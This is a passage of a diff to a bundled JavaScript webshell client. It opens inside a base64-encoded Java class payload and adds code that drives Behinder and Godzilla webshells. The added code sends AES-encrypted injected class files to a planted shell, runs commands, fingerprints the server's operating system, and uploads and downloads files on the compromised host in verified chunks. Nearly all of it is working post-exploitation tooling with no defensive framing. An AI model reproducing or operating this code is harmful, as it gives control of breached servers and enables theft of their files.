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";
|
|
222
241
|
var ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, "base64");
|
|
223
242
|
var CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, "base64");
|
|
243
|
+
var FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, "base64");
|
|
224
244
|
var GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, "base64");
|
|
225
245
|
|
|
226
246
|
// src/connect/classfile.ts
|
|
@@ -248,7 +268,7 @@ function readPool(cur) {
|
|
|
248
268
|
switch (tag) {
|
|
249
269
|
case 1: {
|
|
250
270
|
const len = cur.u2(off + 1);
|
|
251
|
-
const value = buf
|
|
271
|
+
const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len);
|
|
252
272
|
utf8.set(i, value);
|
|
253
273
|
if (value === CONSTANT_VALUE) constantValueNameIndex = i;
|
|
254
274
|
off += 3 + len;
|
|
@@ -297,13 +317,50 @@ function readPool(cur) {
|
|
|
297
317
|
}
|
|
298
318
|
return { count, end: off, utf8, constantValueNameIndex };
|
|
299
319
|
}
|
|
320
|
+
function decodeModifiedUtf8(buf, start, end) {
|
|
321
|
+
let out = "";
|
|
322
|
+
let i = start;
|
|
323
|
+
while (i < end) {
|
|
324
|
+
const b = buf[i];
|
|
325
|
+
if (b < 128) {
|
|
326
|
+
out += String.fromCharCode(b);
|
|
327
|
+
i += 1;
|
|
328
|
+
} else if ((b & 224) === 192 && i + 1 < end) {
|
|
329
|
+
out += String.fromCharCode((b & 31) << 6 | buf[i + 1] & 63);
|
|
330
|
+
i += 2;
|
|
331
|
+
} else if ((b & 240) === 224 && i + 2 < end) {
|
|
332
|
+
out += String.fromCharCode(
|
|
333
|
+
(b & 15) << 12 | (buf[i + 1] & 63) << 6 | buf[i + 2] & 63
|
|
334
|
+
);
|
|
335
|
+
i += 3;
|
|
336
|
+
} else {
|
|
337
|
+
out += "\uFFFD";
|
|
338
|
+
i += 1;
|
|
339
|
+
}
|
|
340
|
+
}
|
|
341
|
+
return out;
|
|
342
|
+
}
|
|
300
343
|
function encodeUtf8Entry(value) {
|
|
301
|
-
const data =
|
|
344
|
+
const data = encodeModifiedUtf8(value);
|
|
302
345
|
const out = Buffer.alloc(3);
|
|
303
346
|
out.writeUInt8(1, 0);
|
|
304
347
|
out.writeUInt16BE(data.length, 1);
|
|
305
348
|
return Buffer.concat([out, data]);
|
|
306
349
|
}
|
|
350
|
+
function encodeModifiedUtf8(value) {
|
|
351
|
+
const bytes = [];
|
|
352
|
+
for (let i = 0; i < value.length; i++) {
|
|
353
|
+
const code = value.charCodeAt(i);
|
|
354
|
+
if (code >= 1 && code <= 127) {
|
|
355
|
+
bytes.push(code);
|
|
356
|
+
} else if (code <= 2047) {
|
|
357
|
+
bytes.push(192 | code >> 6, 128 | code & 63);
|
|
358
|
+
} else {
|
|
359
|
+
bytes.push(224 | code >> 12, 128 | code >> 6 & 63, 128 | code & 63);
|
|
360
|
+
}
|
|
361
|
+
}
|
|
362
|
+
return Buffer.from(bytes);
|
|
363
|
+
}
|
|
307
364
|
function injectStringConstant(classBytes, fieldName, value) {
|
|
308
365
|
const cur = new Cursor(classBytes);
|
|
309
366
|
if (cur.buf.readUInt32BE(0) !== 3405691582) {
|
|
@@ -451,7 +508,7 @@ function postRaw(url, body, options = {}) {
|
|
|
451
508
|
if (!isHttps && target.protocol !== "http:") {
|
|
452
509
|
return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
|
|
453
510
|
}
|
|
454
|
-
return new Promise((
|
|
511
|
+
return new Promise((resolve2, reject) => {
|
|
455
512
|
const started = Date.now();
|
|
456
513
|
const transport = isHttps ? https : http;
|
|
457
514
|
const req = transport.request(
|
|
@@ -476,7 +533,7 @@ function postRaw(url, body, options = {}) {
|
|
|
476
533
|
res.on("data", (chunk) => chunks.push(chunk));
|
|
477
534
|
res.on(
|
|
478
535
|
"end",
|
|
479
|
-
() =>
|
|
536
|
+
() => resolve2({
|
|
480
537
|
status: res.statusCode ?? 0,
|
|
481
538
|
headers: res.headers,
|
|
482
539
|
body: Buffer.concat(chunks),
|
|
@@ -663,8 +720,254 @@ async function execBehinder(url, pass, command, options = {}) {
|
|
|
663
720
|
failures.join("; ") + " \u2014 wrong password, missing gate header, or not a Behinder shell"
|
|
664
721
|
);
|
|
665
722
|
}
|
|
723
|
+
var BH_UPLOAD_CHUNK = 46080;
|
|
724
|
+
var BH_DOWNLOAD_CHUNK = 1024 * 1024;
|
|
725
|
+
var BH_MAX_DOWNLOAD = 2147483647;
|
|
726
|
+
var BH_CHUNK_ATTEMPTS = 3;
|
|
727
|
+
var BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024;
|
|
728
|
+
function openBehinderChannel(url, key, options = {}) {
|
|
729
|
+
let pinned = options.requestEncoding ?? null;
|
|
730
|
+
let cookie;
|
|
731
|
+
const invoke = async (fields) => {
|
|
732
|
+
let classBytes = FILE_OPERATION_CLASS_BYTES;
|
|
733
|
+
for (const [name, value] of Object.entries(fields)) {
|
|
734
|
+
classBytes = injectStringConstant(classBytes, name, value);
|
|
735
|
+
}
|
|
736
|
+
const encrypted = aesEcbEncrypt(classBytes, key);
|
|
737
|
+
const encodings = pinned ? [pinned] : ["base64", "raw"];
|
|
738
|
+
const failures = [];
|
|
739
|
+
for (const encoding of encodings) {
|
|
740
|
+
const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
|
|
741
|
+
const baseHeaders = buildHeaders({ "Content-Type": "application/octet-stream" }, options);
|
|
742
|
+
const response = await postRaw(url, body, {
|
|
743
|
+
headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,
|
|
744
|
+
timeoutMs: options.timeoutMs,
|
|
745
|
+
insecure: options.insecure
|
|
746
|
+
});
|
|
747
|
+
const setCookies = extractCookies(response.headers);
|
|
748
|
+
if (setCookies.length > 0) cookie = setCookies.join("; ");
|
|
749
|
+
const envelope = parseEchoResponse(response.body, key);
|
|
750
|
+
if (envelope) {
|
|
751
|
+
pinned = encoding;
|
|
752
|
+
return envelope;
|
|
753
|
+
}
|
|
754
|
+
failures.push(
|
|
755
|
+
`${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)")
|
|
756
|
+
);
|
|
757
|
+
}
|
|
758
|
+
throw new Error(
|
|
759
|
+
failures.join("; ") + " \u2014 wrong password, missing gate header, or not a Behinder shell"
|
|
760
|
+
);
|
|
761
|
+
};
|
|
762
|
+
return { invoke };
|
|
763
|
+
}
|
|
764
|
+
async function verifyBehinderRemote(channel, remotePath, data, limit, mismatchNote) {
|
|
765
|
+
if (data.length > limit) {
|
|
766
|
+
try {
|
|
767
|
+
const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
|
|
768
|
+
const text = envelope.status === "success" ? envelope.msg.trim() : "";
|
|
769
|
+
if (!/^\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) {
|
|
770
|
+
return {
|
|
771
|
+
error: `size verification failed \u2014 local ${data.length} bytes, remote said ${JSON.stringify(envelope.msg)}`
|
|
772
|
+
};
|
|
773
|
+
}
|
|
774
|
+
return { detail: `over ${limit} bytes \u2014 MD5 check skipped, size verified` };
|
|
775
|
+
} catch (err) {
|
|
776
|
+
return {
|
|
777
|
+
detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`
|
|
778
|
+
};
|
|
779
|
+
}
|
|
780
|
+
}
|
|
781
|
+
try {
|
|
782
|
+
const envelope = await channel.invoke({ mode: "check", path: remotePath });
|
|
783
|
+
if (envelope.status === "success" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) {
|
|
784
|
+
const local = md5Hex(data).slice(0, 16).toLowerCase();
|
|
785
|
+
if (envelope.msg.trim().toLowerCase() !== local) {
|
|
786
|
+
return {
|
|
787
|
+
error: `hash mismatch \u2014 remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`
|
|
788
|
+
};
|
|
789
|
+
}
|
|
790
|
+
return {};
|
|
791
|
+
}
|
|
792
|
+
return { detail: "hash verification unavailable (unexpected check response)" };
|
|
793
|
+
} catch {
|
|
794
|
+
return { detail: "hash verification unavailable (check request failed)" };
|
|
795
|
+
}
|
|
796
|
+
}
|
|
797
|
+
async function downloadBehinder(url, pass, remotePath, options = {}) {
|
|
798
|
+
const started = Date.now();
|
|
799
|
+
const key = md5Key16(pass);
|
|
800
|
+
const fail = (error) => ({
|
|
801
|
+
ok: false,
|
|
802
|
+
tool: "behinder",
|
|
803
|
+
url,
|
|
804
|
+
direction: "download",
|
|
805
|
+
remotePath,
|
|
806
|
+
error,
|
|
807
|
+
durationMs: Date.now() - started
|
|
808
|
+
});
|
|
809
|
+
const channel = openBehinderChannel(url, key, options);
|
|
810
|
+
let size;
|
|
811
|
+
try {
|
|
812
|
+
const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
|
|
813
|
+
if (envelope.status !== "success") {
|
|
814
|
+
return fail(
|
|
815
|
+
`remote path not found (or not readable): ${remotePath}` + (envelope.msg ? ` \u2014 ${envelope.msg}` : "")
|
|
816
|
+
);
|
|
817
|
+
}
|
|
818
|
+
const text = envelope.msg.trim();
|
|
819
|
+
if (!/^\d+$/.test(text)) {
|
|
820
|
+
return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`);
|
|
821
|
+
}
|
|
822
|
+
size = Number.parseInt(text, 10);
|
|
823
|
+
} catch (err) {
|
|
824
|
+
return fail(err instanceof Error ? err.message : String(err));
|
|
825
|
+
}
|
|
826
|
+
if (size > BH_MAX_DOWNLOAD) {
|
|
827
|
+
return fail(`remote file is ${size} bytes \u2014 refusing to buffer over 2 GiB in memory`);
|
|
828
|
+
}
|
|
829
|
+
const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK;
|
|
830
|
+
const parts = [];
|
|
831
|
+
let downloaded = 0;
|
|
832
|
+
const blockCount = Math.ceil(size / chunkSize);
|
|
833
|
+
for (let index = 0; index < blockCount; index++) {
|
|
834
|
+
const want = Math.min(chunkSize, size - downloaded);
|
|
835
|
+
let chunk = null;
|
|
836
|
+
let serverSays = "";
|
|
837
|
+
for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) {
|
|
838
|
+
try {
|
|
839
|
+
const envelope = await channel.invoke({
|
|
840
|
+
mode: "downloadPart",
|
|
841
|
+
path: remotePath,
|
|
842
|
+
blockIndex: String(index),
|
|
843
|
+
blockSize: String(chunkSize)
|
|
844
|
+
});
|
|
845
|
+
if (envelope.status !== "success") {
|
|
846
|
+
serverSays = envelope.msg || "remote status fail";
|
|
847
|
+
continue;
|
|
848
|
+
}
|
|
849
|
+
const buf = Buffer.from(envelope.msg, "base64");
|
|
850
|
+
if (buf.length !== want) {
|
|
851
|
+
serverSays = `short chunk: got ${buf.length} of ${want} bytes`;
|
|
852
|
+
continue;
|
|
853
|
+
}
|
|
854
|
+
chunk = buf;
|
|
855
|
+
} catch (err) {
|
|
856
|
+
serverSays = err instanceof Error ? err.message : String(err);
|
|
857
|
+
}
|
|
858
|
+
}
|
|
859
|
+
if (chunk === null) {
|
|
860
|
+
return fail(`chunk ${index} at offset ${downloaded}/${size} failed \u2014 ${serverSays}`);
|
|
861
|
+
}
|
|
862
|
+
parts.push(chunk);
|
|
863
|
+
downloaded += chunk.length;
|
|
864
|
+
}
|
|
865
|
+
const data = Buffer.concat(parts);
|
|
866
|
+
let detail;
|
|
867
|
+
if (size === 0) {
|
|
868
|
+
detail = "remote file is empty \u2014 hash check skipped";
|
|
869
|
+
} else {
|
|
870
|
+
const verification = await verifyBehinderRemote(
|
|
871
|
+
channel,
|
|
872
|
+
remotePath,
|
|
873
|
+
data,
|
|
874
|
+
options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
|
|
875
|
+
"(the file changed during transfer?)"
|
|
876
|
+
);
|
|
877
|
+
if (verification.error) return fail(verification.error);
|
|
878
|
+
detail = verification.detail;
|
|
879
|
+
}
|
|
880
|
+
return {
|
|
881
|
+
ok: true,
|
|
882
|
+
tool: "behinder",
|
|
883
|
+
url,
|
|
884
|
+
direction: "download",
|
|
885
|
+
remotePath,
|
|
886
|
+
bytes: data.length,
|
|
887
|
+
detail,
|
|
888
|
+
data,
|
|
889
|
+
durationMs: Date.now() - started
|
|
890
|
+
};
|
|
891
|
+
}
|
|
892
|
+
async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
893
|
+
const started = Date.now();
|
|
894
|
+
const key = md5Key16(pass);
|
|
895
|
+
const fail = (error) => ({
|
|
896
|
+
ok: false,
|
|
897
|
+
tool: "behinder",
|
|
898
|
+
url,
|
|
899
|
+
direction: "upload",
|
|
900
|
+
remotePath,
|
|
901
|
+
error,
|
|
902
|
+
durationMs: Date.now() - started
|
|
903
|
+
});
|
|
904
|
+
const channel = openBehinderChannel(url, key, options);
|
|
905
|
+
if (data.length === 0) {
|
|
906
|
+
try {
|
|
907
|
+
const envelope = await channel.invoke({ mode: "create", path: remotePath, content: "" });
|
|
908
|
+
if (envelope.status !== "success") {
|
|
909
|
+
return fail(`server said: ${envelope.msg || "remote status fail"}`);
|
|
910
|
+
}
|
|
911
|
+
} catch (err) {
|
|
912
|
+
return fail(err instanceof Error ? err.message : String(err));
|
|
913
|
+
}
|
|
914
|
+
return {
|
|
915
|
+
ok: true,
|
|
916
|
+
tool: "behinder",
|
|
917
|
+
url,
|
|
918
|
+
direction: "upload",
|
|
919
|
+
remotePath,
|
|
920
|
+
bytes: 0,
|
|
921
|
+
detail: "empty file \u2014 hash check skipped",
|
|
922
|
+
durationMs: Date.now() - started
|
|
923
|
+
};
|
|
924
|
+
}
|
|
925
|
+
let offset = 0;
|
|
926
|
+
let index = 0;
|
|
927
|
+
while (offset < data.length) {
|
|
928
|
+
const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length));
|
|
929
|
+
const mode = index === 0 ? "create" : "append";
|
|
930
|
+
try {
|
|
931
|
+
const envelope = await channel.invoke({
|
|
932
|
+
mode,
|
|
933
|
+
path: remotePath,
|
|
934
|
+
content: chunk.toString("base64")
|
|
935
|
+
});
|
|
936
|
+
if (envelope.status !== "success") {
|
|
937
|
+
return fail(
|
|
938
|
+
`chunk ${index} failed at offset ${offset}/${data.length} \u2014 server said: ${envelope.msg || "remote status fail"} \u2014 the remote file may be incomplete`
|
|
939
|
+
);
|
|
940
|
+
}
|
|
941
|
+
} catch (err) {
|
|
942
|
+
return fail(
|
|
943
|
+
`chunk ${index} failed at offset ${offset}/${data.length}: ${err instanceof Error ? err.message : String(err)} \u2014 the remote file may be incomplete`
|
|
944
|
+
);
|
|
945
|
+
}
|
|
946
|
+
offset += chunk.length;
|
|
947
|
+
index++;
|
|
948
|
+
}
|
|
949
|
+
const verification = await verifyBehinderRemote(
|
|
950
|
+
channel,
|
|
951
|
+
remotePath,
|
|
952
|
+
data,
|
|
953
|
+
options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
|
|
954
|
+
"(the upload was corrupted)"
|
|
955
|
+
);
|
|
956
|
+
if (verification.error) return fail(verification.error);
|
|
957
|
+
return {
|
|
958
|
+
ok: true,
|
|
959
|
+
tool: "behinder",
|
|
960
|
+
url,
|
|
961
|
+
direction: "upload",
|
|
962
|
+
remotePath,
|
|
963
|
+
bytes: data.length,
|
|
964
|
+
detail: verification.detail,
|
|
965
|
+
durationMs: Date.now() - started
|
|
966
|
+
};
|
|
967
|
+
}
|
|
666
968
|
|
|
667
969
|
// src/connect/godzilla.ts
|
|
970
|
+
import iconv from "iconv-lite";
|
|
668
971
|
function serializeParams(params) {
|
|
669
972
|
const parts = [];
|
|
670
973
|
for (const [key, value] of params) {
|
|
@@ -682,8 +985,30 @@ function excerpt2(body) {
|
|
|
682
985
|
const text = body.toString("latin1").replace(/[^\x20-\x7e]+/g, " ").trim();
|
|
683
986
|
return text.length > 200 ? `${text.slice(0, 200)}...` : text;
|
|
684
987
|
}
|
|
685
|
-
|
|
686
|
-
|
|
988
|
+
function errMsg(err) {
|
|
989
|
+
return err instanceof Error ? err.message : String(err);
|
|
990
|
+
}
|
|
991
|
+
function decodeServerText(buf) {
|
|
992
|
+
try {
|
|
993
|
+
return new TextDecoder("utf-8", { fatal: true }).decode(buf);
|
|
994
|
+
} catch {
|
|
995
|
+
try {
|
|
996
|
+
return new TextDecoder("gbk").decode(buf);
|
|
997
|
+
} catch {
|
|
998
|
+
return buf.toString("utf8");
|
|
999
|
+
}
|
|
1000
|
+
}
|
|
1001
|
+
}
|
|
1002
|
+
function encodeRemotePath(remotePath, remoteCharset) {
|
|
1003
|
+
if (remoteCharset === void 0 || /^utf-?8$/i.test(remoteCharset)) {
|
|
1004
|
+
return Buffer.from(remotePath, "utf8");
|
|
1005
|
+
}
|
|
1006
|
+
if (!iconv.encodingExists(remoteCharset)) {
|
|
1007
|
+
return Buffer.from(remotePath, "utf8");
|
|
1008
|
+
}
|
|
1009
|
+
return iconv.encode(remotePath, remoteCharset);
|
|
1010
|
+
}
|
|
1011
|
+
async function openGodzillaSession(url, pass, key, options = {}) {
|
|
687
1012
|
const xc = md5Key16(key);
|
|
688
1013
|
const wrapper = md5Hex(pass + xc).toUpperCase();
|
|
689
1014
|
const left = wrapper.slice(0, 16);
|
|
@@ -697,81 +1022,77 @@ async function testGodzilla(url, pass, key, options = {}) {
|
|
|
697
1022
|
timeoutMs: options.timeoutMs,
|
|
698
1023
|
insecure: options.insecure
|
|
699
1024
|
});
|
|
700
|
-
|
|
701
|
-
try {
|
|
702
|
-
initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
703
|
-
} catch (err) {
|
|
704
|
-
return {
|
|
705
|
-
ok: false,
|
|
706
|
-
tool: "godzilla",
|
|
707
|
-
url,
|
|
708
|
-
error: err instanceof Error ? err.message : String(err),
|
|
709
|
-
durationMs: Date.now() - started
|
|
710
|
-
};
|
|
711
|
-
}
|
|
1025
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
712
1026
|
const cookies = extractCookies(initResponse.headers);
|
|
713
1027
|
const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
714
|
-
|
|
715
|
-
|
|
1028
|
+
return {
|
|
1029
|
+
async callMethod(methodName, extraParams = []) {
|
|
1030
|
+
const callData = gzip(
|
|
1031
|
+
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1032
|
+
);
|
|
1033
|
+
const res = await post(callData, cookie);
|
|
1034
|
+
const text = res.body.toString("latin1");
|
|
1035
|
+
const leftIdx = text.indexOf(left);
|
|
1036
|
+
const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
|
|
1037
|
+
if (leftIdx === -1 || rightIdx === -1) {
|
|
1038
|
+
throw new Error(
|
|
1039
|
+
`HTTP ${res.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(res.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell"
|
|
1040
|
+
);
|
|
1041
|
+
}
|
|
1042
|
+
const wrapped = text.slice(leftIdx + left.length, rightIdx);
|
|
1043
|
+
try {
|
|
1044
|
+
return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
|
|
1045
|
+
} catch {
|
|
1046
|
+
throw new Error("found wrapper but failed to decrypt \u2014 wrong key?");
|
|
1047
|
+
}
|
|
1048
|
+
}
|
|
1049
|
+
};
|
|
1050
|
+
}
|
|
1051
|
+
async function testGodzilla(url, pass, key, options = {}) {
|
|
1052
|
+
const started = Date.now();
|
|
1053
|
+
let session;
|
|
716
1054
|
try {
|
|
717
|
-
|
|
1055
|
+
session = await openGodzillaSession(url, pass, key, options);
|
|
718
1056
|
} catch (err) {
|
|
719
1057
|
return {
|
|
720
1058
|
ok: false,
|
|
721
1059
|
tool: "godzilla",
|
|
722
1060
|
url,
|
|
723
|
-
error:
|
|
1061
|
+
error: errMsg(err),
|
|
724
1062
|
durationMs: Date.now() - started
|
|
725
1063
|
};
|
|
726
1064
|
}
|
|
727
|
-
|
|
728
|
-
const leftIdx = text.indexOf(left);
|
|
729
|
-
const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
|
|
730
|
-
if (leftIdx === -1 || rightIdx === -1) {
|
|
731
|
-
return {
|
|
732
|
-
ok: false,
|
|
733
|
-
tool: "godzilla",
|
|
734
|
-
url,
|
|
735
|
-
error: `HTTP ${testResponse.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(testResponse.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell",
|
|
736
|
-
durationMs: Date.now() - started
|
|
737
|
-
};
|
|
738
|
-
}
|
|
739
|
-
const wrapped = text.slice(leftIdx + left.length, rightIdx);
|
|
1065
|
+
let result;
|
|
740
1066
|
try {
|
|
741
|
-
|
|
742
|
-
|
|
743
|
-
if (result === "ok") {
|
|
744
|
-
return {
|
|
745
|
-
ok: true,
|
|
746
|
-
tool: "godzilla",
|
|
747
|
-
url,
|
|
748
|
-
detail: `payload uploaded, "test" returned ok (HTTP ${testResponse.status})`,
|
|
749
|
-
durationMs: Date.now() - started
|
|
750
|
-
};
|
|
751
|
-
}
|
|
1067
|
+
result = (await session.callMethod("test")).toString("utf8").trim();
|
|
1068
|
+
} catch (err) {
|
|
752
1069
|
return {
|
|
753
1070
|
ok: false,
|
|
754
1071
|
tool: "godzilla",
|
|
755
1072
|
url,
|
|
756
|
-
error:
|
|
1073
|
+
error: errMsg(err),
|
|
757
1074
|
durationMs: Date.now() - started
|
|
758
1075
|
};
|
|
759
|
-
}
|
|
1076
|
+
}
|
|
1077
|
+
if (result === "ok") {
|
|
760
1078
|
return {
|
|
761
|
-
ok:
|
|
1079
|
+
ok: true,
|
|
762
1080
|
tool: "godzilla",
|
|
763
1081
|
url,
|
|
764
|
-
|
|
1082
|
+
detail: `payload uploaded, "test" returned ok`,
|
|
765
1083
|
durationMs: Date.now() - started
|
|
766
1084
|
};
|
|
767
1085
|
}
|
|
1086
|
+
return {
|
|
1087
|
+
ok: false,
|
|
1088
|
+
tool: "godzilla",
|
|
1089
|
+
url,
|
|
1090
|
+
error: `decrypted response is ${JSON.stringify(result)}, expected "ok"`,
|
|
1091
|
+
durationMs: Date.now() - started
|
|
1092
|
+
};
|
|
768
1093
|
}
|
|
769
1094
|
async function execGodzilla(url, pass, key, command, options = {}) {
|
|
770
1095
|
const started = Date.now();
|
|
771
|
-
const xc = md5Key16(key);
|
|
772
|
-
const wrapper = md5Hex(pass + xc).toUpperCase();
|
|
773
|
-
const left = wrapper.slice(0, 16);
|
|
774
|
-
const right = wrapper.slice(16);
|
|
775
1096
|
const fail = (error) => ({
|
|
776
1097
|
ok: false,
|
|
777
1098
|
tool: "godzilla",
|
|
@@ -780,47 +1101,20 @@ async function execGodzilla(url, pass, key, command, options = {}) {
|
|
|
780
1101
|
error,
|
|
781
1102
|
durationMs: Date.now() - started
|
|
782
1103
|
});
|
|
783
|
-
|
|
784
|
-
{ "Content-Type": "application/x-www-form-urlencoded" },
|
|
785
|
-
options
|
|
786
|
-
);
|
|
787
|
-
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
788
|
-
headers: cookie2 ? { ...baseHeaders, Cookie: cookie2 } : baseHeaders,
|
|
789
|
-
timeoutMs: options.timeoutMs,
|
|
790
|
-
insecure: options.insecure
|
|
791
|
-
});
|
|
792
|
-
let initResponse;
|
|
1104
|
+
let session;
|
|
793
1105
|
try {
|
|
794
|
-
|
|
1106
|
+
session = await openGodzillaSession(url, pass, key, options);
|
|
795
1107
|
} catch (err) {
|
|
796
|
-
return fail(
|
|
1108
|
+
return fail(errMsg(err));
|
|
797
1109
|
}
|
|
798
|
-
const cookies = extractCookies(initResponse.headers);
|
|
799
|
-
const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
800
|
-
const callMethod = async (methodName, extraParams = []) => {
|
|
801
|
-
const callData = gzip(
|
|
802
|
-
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
803
|
-
);
|
|
804
|
-
const res = await post(callData, cookie);
|
|
805
|
-
const text = res.body.toString("latin1");
|
|
806
|
-
const leftIdx = text.indexOf(left);
|
|
807
|
-
const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
|
|
808
|
-
if (leftIdx === -1 || rightIdx === -1) {
|
|
809
|
-
throw new Error(
|
|
810
|
-
`HTTP ${res.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(res.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell"
|
|
811
|
-
);
|
|
812
|
-
}
|
|
813
|
-
const wrapped = text.slice(leftIdx + left.length, rightIdx);
|
|
814
|
-
return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
|
|
815
|
-
};
|
|
816
1110
|
let os = options.os ?? "auto";
|
|
817
1111
|
if (os === "auto") {
|
|
818
1112
|
try {
|
|
819
|
-
const info = (await callMethod("getBasicsInfo")).toString("utf8");
|
|
1113
|
+
const info = (await session.callMethod("getBasicsInfo")).toString("utf8");
|
|
820
1114
|
const osLine = info.split("\n").find((l) => l.startsWith("OsInfo :")) ?? info;
|
|
821
1115
|
os = /os\.name:[^\n]*windows/i.test(osLine) ? "windows" : "linux";
|
|
822
1116
|
} catch (err) {
|
|
823
|
-
return fail(
|
|
1117
|
+
return fail(errMsg(err));
|
|
824
1118
|
}
|
|
825
1119
|
}
|
|
826
1120
|
